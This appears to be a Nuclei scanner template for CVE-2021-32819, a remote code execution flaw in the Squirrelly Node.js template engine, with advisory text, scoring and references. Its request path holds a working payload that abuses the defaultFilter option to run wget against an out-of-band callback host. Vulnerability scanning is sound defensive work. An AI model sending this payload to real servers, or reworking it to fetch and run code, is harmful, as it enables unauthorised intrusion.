Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
PoC代码[已公开]
id: CVE-2021-32819
info:
name: Nodejs Squirrelly - Remote Code Execution
author: pikpikcu
severity: high
description: |
Nodejs Squirrelly is susceptible to remote code execution. Squirrelly is a template engine implemented in JavaScript that works out of the box with ExpressJS. Squirrelly mixes pure template data with engine configuration options through the Express render API. By overwriting internal configuration options remote code execution may be triggered in downstream applications. There is currently no fix for these issues as of the publication of this CVE. The latest version of squirrelly is currently 8.0.8. For complete details refer to the referenced GHSL-2021-023.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Update to the latest version of Nodejs Squirrelly template engine to mitigate the vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
- https://www.linuxlz.com/aqld/2331.html
- https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
- https://nvd.nist.gov/vuln/detail/CVE-2021-32819
- https://github.com/squirrellyjs/squirrelly/commit/c12418a026f73df645ba927fd29358efe02fed1e
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2021-32819
cwe-id: CWE-200,NVD-CWE-noinfo
epss-score: 0.88891
epss-percentile: 0.99504
cpe: cpe:2.3:a:squirrelly:squirrelly:8.0.8:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: squirrelly
product: squirrelly
tags: cve2021,cve,nodejs,rce,oast,squirrelly
http:
- method: GET
path:
- '{{BaseURL}}/?Express=aaaa&autoEscape=&defaultFilter=e%27);var+require=global.require+%7C%7C+global.process.mainModule.constructor._load;+require(%27child_process%27).exec(%27wget%20http://{{interactsh-url}}%27);//'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: Wget"
# digest: 4b0a00483046022100ff11811b7bd00c81d082c6bc31db018b10507d42fd3944ca499d4cd775598126022100f2ea43d99daafd537f05e92db9133bb715a458d6fa70a32132a23ed26bae8b35:922c64590222798bb761d5b6d8e72950